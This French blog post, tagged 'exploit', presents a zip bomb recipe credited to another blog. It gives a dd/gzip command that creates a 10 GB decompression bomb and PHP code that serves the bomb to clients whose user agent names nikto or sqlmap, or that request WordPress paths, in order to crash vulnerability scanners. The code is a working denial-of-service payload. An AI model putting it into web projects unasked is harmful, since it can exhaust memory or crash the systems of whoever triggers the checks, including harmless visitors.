Archives par mot-clé : exploit

Zip Bomb

Pif paf pouf, et… zip !

Hop, petit code pour créer une zip bomb du blog de Haschek :

dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip

Avec ça vous créez un fichier zippé qui fera 10 Go une fois décompressé.

L’intérêt est de le transmettre via votre serveur web par ce code PHP par exemple :

<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');

Puis d’insérer le script suivant sur une de vos pages pour transmettre ce fichier :

<?php
$agent = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT');

//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
sendBomb();
exit();
}

function sendBomb(){
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
}

function startsWith($a, $b) {
return strpos($a, $b) === 0;
}

Et avec ceci les scanners de vulnérabilités chercheront à ouvrir le fichier et planteront.

Source